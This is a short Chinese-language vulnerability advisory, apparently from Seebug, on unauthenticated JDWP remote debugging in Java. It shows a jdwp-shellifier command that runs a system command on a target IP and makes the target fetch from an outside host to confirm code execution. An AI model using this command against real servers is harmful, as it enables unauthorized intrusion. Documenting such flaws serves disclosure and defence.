<p>JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写,通过 JPDA 提供的 API,开发人员可以方便灵活的搭建 Java 调试应用程序。JPDA 主要由三个部分组成:Java虚拟机工具接口(JVMTI),Java 调试线协议(JDWP),以及 Java 调试接口(JDI)。</p><p>JDWP协议可以支持远程调试,当次接口未授权访问时,可以执行Java代码,造成代码执行,获取服务器权限。</p><p>服务端监听80端口记录访问:</p><p> </p><p><img alt="0D194CD8-C41E-4A24-944E-CCE0A6F89318.png" src="https://images.seebug.org/@/uploads/1434436891805-0D194CD8-C41E-4A24-944E-CCE0A6F89318.png" data-image-size="436,75"><br></p><p>使用jdwp-shellifier,执行系统命令:</p><pre class="">python jdwp-shellifier.py -t 121.8.142.172 --cmd "wget http://118.193.151.31/"</pre><p><img alt="A21042F0-74C6-41EA-BF3B-1C6486BCF9C3.png" src="https://images.seebug.org/@/uploads/1434436913694-A21042F0-74C6-41EA-BF3B-1C6486BCF9C3.png" data-image-size="826,227"><br></p><p>当停止在Waiting for an event on 'java.net.ServerSocket.accept'时,访问80或者443端口(此端口不固定,本次测试用例为9898端口)。</p><p><img alt="83B7BF52-E4DD-4736-AE09-F40891778B16.png" src="https://images.seebug.org/@/uploads/1434436935402-83B7BF52-E4DD-4736-AE09-F40891778B16.png" data-image-size="597,128"><br></p><p>收到访问请求: </p><p><img alt="F79640AA-BE91-4A37-90C5-7AFA9A501DEC.png" src="https://images.seebug.org/@/uploads/1434436961984-F79640AA-BE91-4A37-90C5-7AFA9A501DEC.png" data-image-size="833,91"><br></p>
暂无评论